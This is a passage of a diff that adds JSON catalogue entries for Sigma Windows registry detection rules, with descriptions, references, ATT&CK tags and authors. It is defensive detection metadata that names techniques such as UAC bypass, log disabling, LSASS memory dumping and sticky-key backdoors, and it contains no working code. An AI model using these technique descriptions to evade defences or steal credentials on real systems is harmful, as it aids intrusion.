"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/08/26", + "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", + "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", + "value": "Removal Of SD Value to Hide Schedule Task", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/04/15", + "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Sysmon registry detection of a local hidden user account.", + "uuid": "460479f3-80b7-42da-9c43-2cc1d54dbccd", + "value": "Creation of a Local Hidden User Account by Registry", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1387530414185664538", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2021/05/03", + "filename": "registry_event_add_local_hidden_user.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "registry_event_apt_chafer_mar18.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", + "uuid": "70d43542-cd2d-483c-8f30-f16b436fd7db", + "value": "Leviathan Registry Key Activity", + "meta": { + "refs": [ + "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_leviathan.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2020/07/07", + "filename": "registry_event_apt_leviathan.yml", + "author": "Aidan Bracher", + "level": "critical", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", + "uuid": "4ac5fc44-a601-4c06-955b-309df8c4e9d4", + "value": "OceanLotus Registry Activity", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "https://github.com/eset/malware-ioc/tree/master/oceanlotus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/04/14", + "filename": "registry_event_apt_oceanlotus_registry.yml", + "author": "megan201296, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Pandemic Windows Implant", + "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", + "value": "Pandemic Registry Key", + "meta": { + "refs": [ + "https://wikileaks.org/vault7/#Pandemic", + "https://twitter.com/MalwareJake/status/870349480356454401", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2017/06/01", + "filename": "registry_event_apt_pandemic.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", + "uuid": "6ea3bf32-9680-422d-9f50-e90716b12a66", + "value": "UAC Bypass Via Wsreset", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/07", + "filename": "registry_event_bypass_via_wsreset.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "b6d235fc-1d38-4b12-adbe-325f06728f37", + "value": "CMSTP Execution Registry Event", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "registry_event_cmstp_execution_by_registry.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", + "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", + "value": "Disable Security Events Logging Adding Reg Key MiniNt", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1182516740955226112", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", + "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", + "value": "Wdigest CredGuard Registry Modification", + "meta": { + "refs": [ + "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2019/08/25", + "filename": "registry_event_disable_wdigest_credential_guard.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", + "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", + "value": "Esentutl Volume Shadow Copy Service Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", + "value": "Windows Credential Editor Registry", + "meta": { + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ], + "creation_date": "2019/12/31", + "filename": "registry_event_hack_wce_reg.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", + "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", + "value": "HybridConnectionManager Service Installation", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1608" + ], + "creation_date": "2021/04/12", + "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence of a registry key created during Azorult execution", + "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", + "value": "Registry Entries For Azorult Malware", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ], + "creation_date": "2020/05/08", + "filename": "registry_event_mal_azorult.yml", + "author": "Trent Liffick", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects FlowCloud malware from threat group TA410.", + "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", + "value": "FlowCloud Malware", + "meta": { + "refs": [ + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2020/06/09", + "filename": "registry_event_mal_flowcloud.yml", + "author": "NVISO", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", + "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", + "value": "PrinterNightmare Mimimkatz Driver Name", + "meta": { + "refs": [ + "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", + "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/07/04", + "filename": "registry_event_mimikatz_printernightmare.yml", + "author": "Markus Neis, @markus_neis, Florian Roth", + "level": "critical", + "falsepositive": [ + "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects value modification of registry key containing path to binary used as screensaver.", + "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", + "value": "Path To Screensaver Binary Modified", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.002" + ], + "creation_date": "2020/10/11", + "filename": "registry_event_modify_screensaver_binary_path.yml", + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate modification of screensaver" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", + "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", + "value": "Narrator's Feedback-Hub Persistence", + "meta": { + "refs": [ + "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_narrator_feedback_persistance.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetNTLM downgrade attack", + "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", + "value": "NetNTLM Downgrade Attack", + "meta": { + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2018/03/20", + "filename": "registry_event_net_ntlm_downgrade.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", + "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", + "value": "New DLL Added to AppCertDlls Registry Key", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.009" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", + "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", + "value": "New DLL Added to AppInit_DLLs Registry Key", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.010" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", + "author": "Ilyas Ochkov, oscd.community, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", + "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", + "value": "Office Application Startup - Office Test", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1137/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.002" + ], + "creation_date": "2020/10/25", + "filename": "registry_event_office_test_regadd.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence registry keys for Recycle Bin", + "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", + "value": "Registry Persistence Mechanisms in Recycle Bin", + "meta": { + "refs": [ + "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2021/11/18", + "filename": "registry_event_persistence_recycle_bin.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", + "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", + "value": "PortProxy Registry Key", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2021/06/22", + "filename": "registry_event_portproxy_registry_key.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", + "Synergy Software KVM (https://symless.com/synergy)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", + "value": "RedMimicry Winnti Playbook Registry Manipulation", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/24", + "filename": "registry_event_redmimicry_winnti_reg.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", + "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", + "value": "WINEKEY Registry Modification", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2020/10/30", + "filename": "registry_event_runkey_winekey.yml", + "author": "omkar72", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", + "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", + "value": "Run Once Task Configuration in Registry", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/11/15", + "filename": "registry_event_runonce_persistence.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate modification of the registry key by legitimate program" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", + "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", + "value": "Shell Open Registry Keys Manipulation", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1546.001" + ], + "creation_date": "2021/08/30", + "filename": "registry_event_shell_open_keys_manipulation.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", + "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", + "value": "SilentProcessExit Monitor Registration for LSASS", + "meta": { + "refs": [ + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.007" + ], + "creation_date": "2021/02/26", + "filename": "registry_event_silentprocessexit_lsass.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", + "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", + "value": "Security Support Provider (SSP) Added to LSA Configuration", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.005" + ], + "creation_date": "2019/01/18", + "filename": "registry_event_ssp_added_lsa_config.yml", + "author": "iwillkeepwatch", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", + "value": "Sticky Key Like Backdoor Usage", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ], + "creation_date": "2018/03/15", + "filename": "registry_event_stickykey_like_backdoor.yml", + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", + "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", + "value": "Atbroker Registry Change", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2020/10/13", + "filename": "registry_event_susp_atbroker_change.yml", + "author": "Mateusz Wydra, oscd.community", + "level": "medium", + "falsepositive": [ + "Creation of non-default, legitimate at usage" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", + "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", + "value": "Suspicious Run Key from Download", + "meta": { + "refs": [ + "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/01", + "filename": "registry_event_susp_download_run_key.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers downloaded and used by users" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", + "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", + "value": "DLL Load via LSASS", + "meta": { + "refs": [ + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "https://twitter.com/SBousseaden/status/1183745981189427200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1547.008" + ], + "creation_date": "2019/10/16", + "filename": "registry_event_susp_lsass_dll_load.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Processes accessing the camera and microphone from suspicious folder", + "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", + "value": "Suspicious Camera and Microphone Access", + "meta": { + "refs": [ + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1125", + "attack.t1123" + ], + "creation_date": "2020/06/07", + "filename": "registry_event_susp_mic_cam_access.yml", + "author": "Den Iuzvyk", + "level": "high", + "falsepositive": [ + "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Alerts on trust record modification within the registry, indicating usage of macros", + "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", + "value": "Windows Registry Trust Record Modification", + "meta": { + "refs": [ + "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", + "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2020/02/19", + "filename": "registry_event_trust_record_modification.yml", + "author": "Antonlovesdnb", + "level": "medium", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to 